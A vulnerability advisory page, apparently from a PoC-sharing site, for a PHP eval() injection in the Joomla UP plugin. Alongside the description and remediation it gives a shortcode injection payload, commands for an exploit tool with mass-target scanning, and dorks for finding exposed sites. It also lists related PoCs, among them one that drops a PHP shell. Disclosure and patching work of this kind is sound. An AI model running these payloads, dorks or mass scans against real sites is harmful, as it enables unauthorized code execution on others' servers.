CVE-2026-97160 — Joomla UP Plugin PHP Code Injection ({up php=} eval)
September 26, 2026 · 764 views
PHP code injection (CWE-94, CVSS 4.0 9.4 Critical) in UP (Universal Plugin) for Joomla (plg_content_up, lomart.fr) 5.0.0–5.2.0 and 6.0.0–6.0.29 via {up php=...} shortcodes processed with eval(). Author save/render bypass on older builds can expose execution to all visitors. Fixed in 5.2.1 and 6.1.0.
Description
Overview
CVE-2026-97160 affects the UP (Universal Plugin) for Joomla (plg_content_up, lomart.fr / up.lomart.fr). Versions 5.0.0–5.2.0 and 6.0.0–6.0.29 allow PHP code injection through {up php=...} shortcodes processed with eval() (CWE-94). The CNA classifies this as authenticated / high privilege; before 6.1.0 / 5.2.1, article authors could bypass reserved-action checks via save vs render name normalization, so PHP embedded in an article could run for every visitor. CVSS 4.0 9.4 Critical. Fix: UP 6.1.0 (Joomla 5.2+) or 5.2.1 (Joomla 3.10–5.1). Assigner: Joomla CNA.
Related advisories in the same release: CVE-2026-97161 (file read / traversal), CVE-2026-97162 (SQLi), CVE-2026-97163 (GitHub mini-install).
| | |
|---|---|
| Product | UP plugin for Joomla (plg_content_up) |
| Path | plugins/content/up/ |
| Affected | 5.0.0–5.2.0, 6.0.0–6.0.29 |
| Fixed | 5.2.1, 6.1.0 |
| Vector | Article/module shortcode {up php=...} |
Open source PoC: https://github.com/murrez/CVE-2026-97160
Lab verification
As admin (or author on vulnerable builds), add to article body:
{up php=echo 'POCBIT-97160-OK';}
Publish, then run --mode exploit --article-url <public URL> to confirm the marker in the rendered page.
Bundled tool (Python 3)
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --article-url "https://joomla.example/index.php?option=com_content&view=article&id=42"
python poc.py -u https://joomla.example --mode exploit --article-url "https://joomla.example/your-article"
python poc.py --list targets.example.txt --mode check -j 10
Asset discovery
body="plugins/content/up"
body="{up php"
inurl:"option=com_content" "lomart"
Impact
Server-side code execution on the Joomla host when malicious or compromised author content is published—visitor-triggered RCE on affected builds without additional login.
Remediation
- Upgrade UP to 6.1.0 or 5.2.1 (or newer) from the vendor.
- Audit articles and modules for
{up phpshortcodes. - Restrict article authoring privileges until patched.
Legal and ethical use
Do not publish malicious shortcodes on sites you do not own. Test only with authorization.
References
Related PoCs
Same platform, vendor, or tags — explore more write-ups on Pocbit.
- JoomlaCVE-2026-97163critical
CVE-2026-97163 — Joomla UP Plugin Unauthenticated GitHub Action Install
Unauthenticated remote code installation in UP (Universal Plugin) for Joomla (lomart.fr) 5.0.0–5.2.0 and 6.0.0–6.0.29: mini package triggers on-demand GitHub action download into plugins/content/up/actions/ with TLS verify disabled (MITM risk). CVSS 4.0 10.0 Critical. Fixed in 5.2.1 and 6.1.0.
- JoomlaCVE-2026-97161critical
CVE-2026-97161 — Joomla UP Plugin Unauthenticated Path Traversal / File Read
Unauthenticated path traversal and arbitrary file read (CWE-22, CWE-284, CVSS 4.0 9.2 Critical) in UP (Universal Plugin) for Joomla (plg_content_up, lomart.fr) 5.0.0–5.2.0 and 6.0.0–6.0.29 via AJAX file-access handlers (ajax-view). May expose configuration.php and DB credentials. Fixed in 5.2.1 and 6.1.0.
- JoomlaCVE-2026-102425critical
CVE-2026-102425 — Joomla Balbooa Forms (com_baforms) Field Shortcode → Unauthenticated RCE
Balbooa Forms for Joomla 1.0.0–2.4.3.3: when a public form runs PHP-after-submission via eval(), field shortcodes are replaced with raw visitor input inside double-quoted PHP — classic ";breakout;// → RCE. CVSS 4.0 9.5 Critical (AT:P). Fixed in 2.4.3.4. Not CVE-2026-67364. Python PoC: version + public form detect, check/exploit, up.php drop, interactive + mass -j.
- JoomlaCVE-2026-102427critical
CVE-2026-102427 — OrdaSoft Joomla CCK (com_os_cck) Unauthenticated Upload RCE
OrdaSoft OS CCK for Joomla 1.0.0–8.3.15: unauthenticated front-end task getContent reaches site/uploader.php — GIF/PHP polyglot passes magic-byte check while .php extension from attacker filename is written under web root (CWE-434). CVSS 4.0 10.0 Critical (AT:N). Fixed in 8.3.16+. Python PoC: check, exploit (POCBIT-102427-OK), mass + interactive.